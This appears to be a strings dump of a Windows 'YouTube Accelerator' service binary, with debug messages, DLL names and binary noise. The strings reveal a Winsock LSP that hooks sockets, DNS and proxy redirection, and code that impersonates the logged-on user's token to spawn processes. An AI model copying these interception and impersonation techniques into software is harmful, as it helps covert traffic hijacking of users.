[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

jsdrv.exe_1472:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@u'

j.hHc(

j.hX")

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

